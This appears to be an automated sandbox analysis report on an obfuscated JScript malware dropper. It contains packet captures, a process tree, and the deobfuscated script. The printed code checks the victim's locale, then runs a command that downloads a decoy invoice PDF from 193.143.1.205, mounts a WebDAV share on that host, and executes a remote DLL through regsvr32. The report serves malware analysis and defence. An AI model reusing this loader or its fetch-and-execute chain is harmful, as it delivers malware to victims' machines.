Jan 10, 2025 18:11:31.732417107 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 10, 2025 18:11:31.732429028 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 10, 2025 18:11:31.732451916 CET	1236	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 10, 2025 18:11:31.732465029 CET	1236	IN	Data Raw: b5 ad f8 d4 ad f1 fa 27 f9 4d b7 ff 84 00 40 a5 55 6e 65 f8 9c 7c 32 31 34 3c 30 54 c7 d0 eb 26 86 5e a6 18 7a 3a 8c a1 ef 5d 0c 7d de c7 d0 67 5d 09 0d 62 e8 eb 26 86 ee a5 18 ba 3f 8f a1 e7 26 86 de 3e dd df 35 31 f4 c1 c5 50 8e 0d dd ae a9 6f Data Ascii: 'M@Une\|214<0T&^z:]}g]b&?&>51PoN%,.[nmk-_BW?]\r}B`Qa8zs&711bC%21gm\|c#1t*SKvk>~}h]
Jan 10, 2025 18:11:31.732475042 CET	1236	IN	Data Raw: db 7e a1 b7 5c 41 e1 9d 56 ff 82 ae f8 36 5b e8 45 0c 5f c7 f2 4b b9 e8 cb b7 c6 37 cf 12 d7 b0 99 7f 80 00 80 b5 c4 9d 10 9f 9b ba 03 43 1f d4 81 a1 29 86 5e 5e b4 31 f4 74 18 43 f7 9a 18 ba 37 8f a1 ed a6 dc 34 1c da cc 87 0e 4b e8 68 0c 3d 6e Data Ascii: ~\AV6[E_K7C)^^1tC74Kh=nby~m0X].5rbXTtE/Q\reE_-zm=]_{E`TZ~F}i_Jnp}QqZ'C?V
Jan 10, 2025 18:11:31.732487917 CET	552	IN	Data Raw: 73 cf 58 cd a7 83 7c 46 68 e6 87 01 cc db de bc b8 a3 49 d4 7f 16 98 4f 81 f5 be 9a e9 4a ca 37 96 45 5f c4 85 8a 64 fd 2b 18 fe 8e ab dc 69 47 6f b6 f4 50 00 13 aa fc 37 7d 7c ae 72 07 86 c6 31 f4 36 8a a1 27 d9 18 2a 9b 72 07 f3 a1 92 41 bb 12 Data Ascii: sX\|FhIOJ7E_d+iGoP7}\|r16'*rA;WIL}s_,$?i/TDGKx:z:GMX"D?W5XOfhUV#5zK\iKVF?GLS+<]j+t-9,O%{ZSiu5Ut
Jan 10, 2025 18:11:31.732544899 CET	1236	IN	Data Raw: 31 74 38 1c da 3c f2 25 b4 3f 30 34 8a a1 47 12 43 ef bb 18 7a d5 1c 5a ba 68 0c 65 53 ee 06 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 f6 99 7b 0d 0a 31 30 30 30 0d 0a ec 68 17 f0 89 4a 7f 5b fe 6a c8 7c af be 7e 70 a9 d0 0b ca 25 d4 64 50 dd 40 53 e5 Data Ascii: 1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]
Jan 10, 2025 18:11:31.732575893 CET	1236	IN	Data Raw: dc 16 eb dc ec f6 e8 ab a9 37 57 e7 7a 68 38 78 ee 33 e8 68 ce 0e 8b a4 e1 5f 41 bf 23 3a 37 e4 9b 7b 41 c3 82 1c 9e e1 6b 6e b6 6b e9 a1 53 ff 63 0a c0 97 63 f5 62 82 1d b5 e8 81 a1 12 43 af ae d2 81 a1 e5 18 7a ad 63 68 c5 43 76 e4 f6 31 74 7f Data Ascii: 7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#))HMgo_#{k+M$OOzzsHa^r,*Y,,WUB5{i_}zqZKd/A
Jan 10, 2025 18:11:31.737325907 CET	1236	IN	Data Raw: c1 c5 d0 a3 79 0c 6d 8e 0d 1d c6 d0 b1 63 43 ff 64 53 ee c6 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 a6 f9 9b 6a fd 82 5c e9 3b fa 70 c9 dc 79 7f 29 8a 99 63 fe fc 99 83 52 0a 74 26 28 1f ab 97 bb 24 bd 20 d7 07 a0 54 7f d2 34 a8 34 d0 6f 5b ff db fa Data Ascii: ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49705	193.143.1.205	8888	7108	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 18:11:33.652029991 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 18:11:34.447468996 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:11:34 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	12:11:23
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21787281582160623337.js"
Imagebase:	0x7ff6cce60000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:11:23
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll
Imagebase:	0x7ff6fe600000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	12:11:23
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	12:11:24
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	12:11:32
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	12:11:32
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6fe600000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	12:11:32
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff678a80000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	12:11:33
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	12:11:34
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	12:11:34
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2264 --field-trial-handle=1520,i,17626756420532321728,2154288866417358527,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function yauhcmgd() {	yauhcmgd() ➔ undefined
1	dllved = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var emsqftha = this[gaxuztps + pwcpsl + vepqb + mvybjj + emizcq + nudstkyo + yjulvnuqp + ddorxzh] ( this[vitnafm + ssxldjzhu + jksdivm + vepqb + cbcpndpif + gaxuztps + ddorxzh][rkivyzkz + vepqb + emizcq + pwcpsl + ddorxzh + emizcq + qdvxeip + zxkol + qbjvcjl + emizcq + jksdivm + ddorxzh] ( vitnafm + ssxldjzhu + jksdivm + vepqb + cbcpndpif + gaxuztps + ddorxzh + wdkns + ssxldjzhu + hodktqxs + emizcq + tckuxmq + tckuxmq ) [jajwfv + emizcq + iinfctw + jajwfv + emizcq + pwcpsl + gjwof] ( xaorea + htadw + rsrzls + pttorm + tchtiiru + rkivyzkz + zohkbxtj + jajwfv + jajwfv + rsrzls + oqcujl + gsbmaotj + tchtiiru + zohkbxtj + ssxldjzhu + rsrzls + jajwfv + hbjqxj + rkivyzkz + mhsjo + yjulvnuqp + ddorxzh + vepqb + mhsjo + tckuxmq + rreifhnez + phhjnelpa + pwcpsl + yjulvnuqp + emizcq + tckuxmq + hbjqxj + nudstkyo + yjulvnuqp + ddorxzh + emizcq + vepqb + yjulvnuqp + pwcpsl + ddorxzh + cbcpndpif + mhsjo + yjulvnuqp + pwcpsl + tckuxmq + hbjqxj + ujtpjfng + mhsjo + jksdivm + pwcpsl + tckuxmq + emizcq ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( rveploicx = 0 ; rveploicx < dllved[tckuxmq + emizcq + yjulvnuqp + iinfctw + ddorxzh + hodktqxs] ; ++ rveploicx )
4	{
5	if ( emsqftha == dllved[rveploicx] )
6	{
7	emsqftha = true;
8	break ;
9	}
10	}
11	if ( emsqftha !== true )
12	this[vitnafm + ssxldjzhu + jksdivm + vepqb + cbcpndpif + gaxuztps + ddorxzh][uociysiim + ajzmohxz + cbcpndpif + ddorxzh] ( );
13	this[vitnafm + ssxldjzhu + jksdivm + vepqb + cbcpndpif + gaxuztps + ddorxzh][rkivyzkz + vepqb + emizcq + pwcpsl + ddorxzh + emizcq + qdvxeip + zxkol + qbjvcjl + emizcq + jksdivm + ddorxzh] ( vitnafm + ssxldjzhu + jksdivm + vepqb + cbcpndpif + gaxuztps + ddorxzh + wdkns + ssxldjzhu + hodktqxs + emizcq + tckuxmq + tckuxmq ) [vepqb + ajzmohxz + yjulvnuqp] ( jksdivm + yblfezj + gjwof + rreifhnez + fpbsj + jksdivm + rreifhnez + gaxuztps + mhsjo + ggwlqh + emizcq + vepqb + mvybjj + hodktqxs + emizcq + tckuxmq + tckuxmq + wdkns + emizcq + lxqzdpnx + emizcq + rreifhnez + xitayiqvx + rkivyzkz + mhsjo + yblfezj + yblfezj + pwcpsl + yjulvnuqp + gjwof + rreifhnez + gztgjn + nudstkyo + yjulvnuqp + twgvvrjy + mhsjo + mvbwwtyhi + emizcq + xitayiqvx + vitnafm + emizcq + zxkol + jajwfv + emizcq + owlhakhe + ajzmohxz + emizcq + mvybjj + ddorxzh + rreifhnez + xitayiqvx + qdvxeip + ajzmohxz + ddorxzh + wkvvmtgce + cbcpndpif + tckuxmq + emizcq + rreifhnez + uhdsuvopr + ddorxzh + emizcq + yblfezj + gaxuztps + uhdsuvopr + hbjqxj + cbcpndpif + yjulvnuqp + twgvvrjy + mhsjo + cbcpndpif + jksdivm + emizcq + wdkns + gaxuztps + gjwof + qmato + rreifhnez + hodktqxs + ddorxzh + ddorxzh + gaxuztps + byvqq + fpbsj + fpbsj + nwqivdn + kwxsuhsyd + jhtlyyq + wdkns + nwqivdn + zahly + jhtlyyq + wdkns + nwqivdn + wdkns + geikn + iavle + bmoasff + fpbsj + cbcpndpif + yjulvnuqp + twgvvrjy + mhsjo + cbcpndpif + jksdivm + emizcq + wdkns + gaxuztps + hodktqxs + gaxuztps + gztgjn + wwhww + wwhww + mvybjj + ddorxzh + pwcpsl + vepqb + ddorxzh + rreifhnez + uhdsuvopr + ddorxzh + emizcq + yblfezj + gaxuztps + uhdsuvopr + hbjqxj + cbcpndpif + yjulvnuqp + twgvvrjy + mhsjo + cbcpndpif + jksdivm + emizcq + wdkns + gaxuztps + gjwof + qmato + wwhww + wwhww + jksdivm + yblfezj + gjwof + rreifhnez + fpbsj + jksdivm + rreifhnez + yjulvnuqp + emizcq + ddorxzh + rreifhnez + ajzmohxz + mvybjj + emizcq + rreifhnez + hbjqxj + hbjqxj + nwqivdn + kwxsuhsyd + jhtlyyq + wdkns + nwqivdn + zahly + jhtlyyq + wdkns + nwqivdn + wdkns + geikn + iavle + bmoasff + mqslhla + bdwybuj + bdwybuj + bdwybuj + bdwybuj + hbjqxj + gjwof + pwcpsl + twgvvrjy + ggwlqh + ggwlqh + ggwlqh + vepqb + mhsjo + mhsjo + ddorxzh + hbjqxj + wwhww + wwhww + jksdivm + yblfezj + gjwof + rreifhnez + fpbsj + jksdivm + rreifhnez + vepqb + emizcq + iinfctw + mvybjj + twgvvrjy + vepqb + jhtlyyq + geikn + rreifhnez + fpbsj + mvybjj + rreifhnez + hbjqxj + hbjqxj + nwqivdn + kwxsuhsyd + jhtlyyq + wdkns + nwqivdn + zahly + jhtlyyq + wdkns + nwqivdn + wdkns + geikn + iavle + bmoasff + mqslhla + bdwybuj + bdwybuj + bdwybuj + bdwybuj + hbjqxj + gjwof + pwcpsl + twgvvrjy + ggwlqh + ggwlqh + ggwlqh + vepqb + mhsjo + mhsjo + ddorxzh + hbjqxj + geikn + nwqivdn + zahly + nwqivdn + bdwybuj + geikn + geikn + bmoasff + bdwybuj + lkfkl + bdwybuj + zahly + nwqivdn + bmoasff + wdkns + gjwof + tckuxmq + tckuxmq, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll",0,false) ➔ 0
14	}
15	tckuxmq = "l";
16	tckuxmq = "R";
17	tckuxmq = "h";
18	tckuxmq = "W";
19	tckuxmq = "z";
20	tckuxmq = "z";
21	tckuxmq = "l";
22	xitayiqvx = "E";
23	xitayiqvx = "v";
24	xitayiqvx = "O";
25	xitayiqvx = "F";
26	xitayiqvx = "a";
27	xitayiqvx = "-";
28	ujtpjfng = "E";
29	ujtpjfng = "S";
30	ujtpjfng = "W";
31	ujtpjfng = "x";
32	ujtpjfng = "L";
33	ujtpjfng = "D";
34	ujtpjfng = "b";
35	ujtpjfng = "t";
36	ujtpjfng = "I";
37	ujtpjfng = "p";
38	ujtpjfng = "L";
39	byvqq = "h";
40	byvqq = "l";
41	byvqq = "L";
42	byvqq = ":";
43	phhjnelpa = "a";
44	phhjnelpa = "O";
45	phhjnelpa = "x";
46	phhjnelpa = "R";
47	phhjnelpa = "A";
48	phhjnelpa = "z";
49	phhjnelpa = "c";
50	phhjnelpa = "k";
51	phhjnelpa = "I";
52	phhjnelpa = "E";
53	phhjnelpa = "H";
54	phhjnelpa = "b";
55	phhjnelpa = "U";
56	phhjnelpa = "L";
57	phhjnelpa = "c";
58	phhjnelpa = "Q";
59	phhjnelpa = "i";
60	phhjnelpa = "X";
61	phhjnelpa = "u";
62	phhjnelpa = "L";
63	phhjnelpa = "m";
64	phhjnelpa = "B";
65	phhjnelpa = "H";
66	phhjnelpa = "C";
67	phhjnelpa = "q";
68	phhjnelpa = "k";
69	phhjnelpa = "D";
70	phhjnelpa = "u";
71	phhjnelpa = "P";
72	phhjnelpa = "f";
73	phhjnelpa = "H";
74	phhjnelpa = "x";
75	phhjnelpa = "c";
76	phhjnelpa = "y";
77	phhjnelpa = "R";
78	phhjnelpa = "Z";
79	phhjnelpa = "I";
80	phhjnelpa = "b";
81	phhjnelpa = "R";
82	phhjnelpa = "s";
83	phhjnelpa = "i";
84	phhjnelpa = "m";
85	phhjnelpa = "M";
86	phhjnelpa = "P";
87	rkivyzkz = "k";
88	rkivyzkz = "g";
89	rkivyzkz = "H";
90	rkivyzkz = "z";
91	rkivyzkz = "C";
92	rkivyzkz = "O";
93	rkivyzkz = "z";
94	rkivyzkz = "G";
95	rkivyzkz = "m";
96	rkivyzkz = "R";
97	rkivyzkz = "F";
98	rkivyzkz = "T";
99	rkivyzkz = "Y";
100	rkivyzkz = "T";
101	rkivyzkz = "C";
102	jhtlyyq = "K";
103	jhtlyyq = "q";
104	jhtlyyq = "O";
105	jhtlyyq = "x";
106	jhtlyyq = "f";
107	jhtlyyq = "d";
108	jhtlyyq = "W";
109	jhtlyyq = "n";
110	jhtlyyq = "m";
111	jhtlyyq = "d";
112	jhtlyyq = "c";
113	jhtlyyq = "N";
114	jhtlyyq = "c";
115	jhtlyyq = "e";
116	jhtlyyq = "S";
117	jhtlyyq = "3";
118	zohkbxtj = "n";
119	zohkbxtj = "I";
120	zohkbxtj = "n";
121	zohkbxtj = "y";
122	zohkbxtj = "V";
123	zohkbxtj = "g";
124	zohkbxtj = "F";
125	zohkbxtj = "b";
126	zohkbxtj = "M";
127	zohkbxtj = "i";
128	zohkbxtj = "C";
129	zohkbxtj = "x";
130	zohkbxtj = "W";
131	zohkbxtj = "m";
132	zohkbxtj = "U";
133	zohkbxtj = "x";
134	zohkbxtj = "n";
135	zohkbxtj = "G";
136	zohkbxtj = "U";
137	zohkbxtj = "y";
138	zohkbxtj = "d";
139	zohkbxtj = "z";
140	zohkbxtj = "X";
141	zohkbxtj = "t";
142	zohkbxtj = "z";
143	zohkbxtj = "f";
144	zohkbxtj = "g";
145	zohkbxtj = "C";
146	zohkbxtj = "L";
147	zohkbxtj = "u";
148	zohkbxtj = "v";
149	zohkbxtj = "C";
150	zohkbxtj = "m";
151	zohkbxtj = "p";
152	zohkbxtj = "X";
153	zohkbxtj = "O";
154	zohkbxtj = "h";
155	zohkbxtj = "o";
156	zohkbxtj = "U";
157	zohkbxtj = "w";
158	zohkbxtj = "u";
159	zohkbxtj = "k";
160	zohkbxtj = "x";
161	zohkbxtj = "t";
162	zohkbxtj = "U";
163	wdkns = "h";
164	wdkns = "J";
165	wdkns = "Z";
166	wdkns = "Z";
167	wdkns = "c";
168	wdkns = "E";
169	wdkns = "C";
170	wdkns = "N";
171	wdkns = "V";
172	wdkns = "S";
173	wdkns = "b";
174	wdkns = "l";
175	wdkns = "v";
176	wdkns = "n";
177	wdkns = "o";
178	wdkns = "n";
179	wdkns = "a";
180	wdkns = "T";
181	wdkns = "C";
182	wdkns = "v";
183	wdkns = "b";
184	wdkns = "G";
185	wdkns = "v";
186	wdkns = "g";
187	wdkns = "k";
188	wdkns = "T";
189	wdkns = "u";
190	wdkns = "W";
191	wdkns = ".";
192	jajwfv = "M";
193	jajwfv = "Q";
194	jajwfv = "X";
195	jajwfv = "V";
196	jajwfv = "E";
197	jajwfv = "a";
198	jajwfv = "R";
199	nwqivdn = "Z";
200	nwqivdn = "O";
201	nwqivdn = "n";
202	nwqivdn = "J";
203	nwqivdn = "k";
204	nwqivdn = "E";
205	nwqivdn = "w";
206	nwqivdn = "K";
207	nwqivdn = "M";
208	nwqivdn = "s";
209	nwqivdn = "W";
210	nwqivdn = "G";
211	nwqivdn = "E";
212	nwqivdn = "Y";
213	nwqivdn = "c";
214	nwqivdn = "N";
215	nwqivdn = "L";
216	nwqivdn = "K";
217	nwqivdn = "F";
218	nwqivdn = "Q";
219	nwqivdn = "n";
220	nwqivdn = "w";
221	nwqivdn = "P";
222	nwqivdn = "L";
223	nwqivdn = "U";
224	nwqivdn = "d";
225	nwqivdn = "j";
226	nwqivdn = "R";
227	nwqivdn = "r";
228	nwqivdn = "G";
229	nwqivdn = "P";
230	nwqivdn = "L";
231	nwqivdn = "N";
232	nwqivdn = "U";
233	nwqivdn = "Y";
234	nwqivdn = "1";
235	pttorm = "Y";
236	rsrzls = "B";
237	rsrzls = "z";
238	rsrzls = "l";
239	rsrzls = "G";
240	rsrzls = "a";
241	rsrzls = "G";
242	rsrzls = "M";
243	rsrzls = "d";
244	rsrzls = "L";
245	rsrzls = "Q";
246	rsrzls = "g";
247	rsrzls = "E";
248	uociysiim = "T";
249	uociysiim = "U";
250	uociysiim = "d";
251	uociysiim = "N";
252	uociysiim = "r";
253	uociysiim = "O";
254	uociysiim = "c";
255	uociysiim = "y";
256	uociysiim = "W";
257	uociysiim = "M";
258	uociysiim = "Q";
259	ggwlqh = "O";
260	ggwlqh = "L";
261	ggwlqh = "a";
262	ggwlqh = "s";
263	ggwlqh = "L";
264	ggwlqh = "A";
265	ggwlqh = "z";
266	ggwlqh = "z";
267	ggwlqh = "M";
268	ggwlqh = "V";
269	ggwlqh = "x";
270	ggwlqh = "D";
271	ggwlqh = "Z";
272	ggwlqh = "h";
273	ggwlqh = "l";
274	ggwlqh = "P";
275	ggwlqh = "b";
276	ggwlqh = "w";
277	iinfctw = "e";
278	iinfctw = "t";
279	iinfctw = "u";
280	iinfctw = "A";
281	iinfctw = "J";
282	iinfctw = "e";
283	iinfctw = "G";
284	iinfctw = "Q";
285	iinfctw = "v";
286	iinfctw = "S";
287	iinfctw = "u";
288	iinfctw = "d";
289	iinfctw = "Z";
290	iinfctw = "D";
291	iinfctw = "j";
292	iinfctw = "L";
293	iinfctw = "C";
294	iinfctw = "y";
295	iinfctw = "g";
296	iinfctw = "E";
297	iinfctw = "X";
298	iinfctw = "O";
299	iinfctw = "o";
300	iinfctw = "p";
301	iinfctw = "p";
302	iinfctw = "o";
303	iinfctw = "i";
304	iinfctw = "e";
305	iinfctw = "E";
306	iinfctw = "X";
307	iinfctw = "W";
308	iinfctw = "L";
309	iinfctw = "q";
310	iinfctw = "A";
311	iinfctw = "R";
312	iinfctw = "v";
313	iinfctw = "T";
314	iinfctw = "m";
315	iinfctw = "w";
316	iinfctw = "g";
317	ddorxzh = "f";
318	ddorxzh = "P";
319	ddorxzh = "g";
320	ddorxzh = "g";
321	ddorxzh = "g";
322	ddorxzh = "D";
323	ddorxzh = "O";
324	ddorxzh = "E";
325	ddorxzh = "b";
326	ddorxzh = "i";
327	ddorxzh = "g";
328	ddorxzh = "U";
329	ddorxzh = "b";
330	ddorxzh = "Q";
331	ddorxzh = "r";
332	ddorxzh = "K";
333	ddorxzh = "s";
334	ddorxzh = "W";
335	ddorxzh = "Z";
336	ddorxzh = "s";
337	ddorxzh = "i";
338	ddorxzh = "p";
339	ddorxzh = "q";
340	ddorxzh = "E";
341	ddorxzh = "y";
342	ddorxzh = "O";
343	ddorxzh = "R";
344	ddorxzh = "u";
345	ddorxzh = "D";
346	ddorxzh = "s";
347	ddorxzh = "b";
348	ddorxzh = "t";
349	pwcpsl = "J";
350	pwcpsl = "p";
351	pwcpsl = "U";
352	pwcpsl = "J";
353	pwcpsl = "z";
354	pwcpsl = "o";
355	pwcpsl = "o";
356	pwcpsl = "Y";
357	pwcpsl = "S";
358	pwcpsl = "z";
359	pwcpsl = "f";
360	pwcpsl = "a";
361	pwcpsl = "R";
362	pwcpsl = "I";
363	pwcpsl = "Q";
364	pwcpsl = "a";
365	pwcpsl = "U";
366	pwcpsl = "d";
367	pwcpsl = "P";
368	pwcpsl = "K";
369	pwcpsl = "G";
370	pwcpsl = "a";
371	pwcpsl = "h";
372	pwcpsl = "o";
373	pwcpsl = "a";
374	yjulvnuqp = "A";
375	yjulvnuqp = "u";
376	yjulvnuqp = "B";
377	yjulvnuqp = "o";
378	yjulvnuqp = "D";
379	yjulvnuqp = "y";
380	yjulvnuqp = "X";
381	yjulvnuqp = "S";
382	yjulvnuqp = "x";
383	yjulvnuqp = "B";
384	yjulvnuqp = "m";
385	yjulvnuqp = "O";
386	yjulvnuqp = "r";
387	yjulvnuqp = "y";
388	yjulvnuqp = "Z";
389	yjulvnuqp = "S";
390	yjulvnuqp = "n";
391	mvybjj = "p";
392	mvybjj = "V";
393	mvybjj = "s";
394	gaxuztps = "s";
395	gaxuztps = "t";
396	gaxuztps = "o";
397	gaxuztps = "A";
398	gaxuztps = "n";
399	gaxuztps = "u";
400	gaxuztps = "j";
401	gaxuztps = "W";
402	gaxuztps = "a";
403	gaxuztps = "v";
404	gaxuztps = "U";
405	gaxuztps = "K";
406	gaxuztps = "x";
407	gaxuztps = "j";
408	gaxuztps = "F";
409	gaxuztps = "p";
410	gsbmaotj = "L";
411	gsbmaotj = "R";
412	gsbmaotj = "F";
413	gsbmaotj = "b";
414	gsbmaotj = "I";
415	gsbmaotj = "B";
416	gsbmaotj = "v";
417	gsbmaotj = "A";
418	gsbmaotj = "V";
419	gsbmaotj = "v";
420	gsbmaotj = "I";
421	gsbmaotj = "o";
422	gsbmaotj = "g";
423	gsbmaotj = "R";
424	gsbmaotj = "x";
425	gsbmaotj = "B";
426	gsbmaotj = "K";
427	gsbmaotj = "b";
428	gsbmaotj = "D";
429	gsbmaotj = "K";
430	gsbmaotj = "e";
431	gsbmaotj = "M";
432	gsbmaotj = "N";
433	gsbmaotj = "A";
434	gsbmaotj = "n";
435	gsbmaotj = "P";
436	gsbmaotj = "J";
437	gsbmaotj = "l";
438	gsbmaotj = "I";
439	gsbmaotj = "l";
440	gsbmaotj = "l";
441	gsbmaotj = "o";
442	gsbmaotj = "v";
443	gsbmaotj = "V";
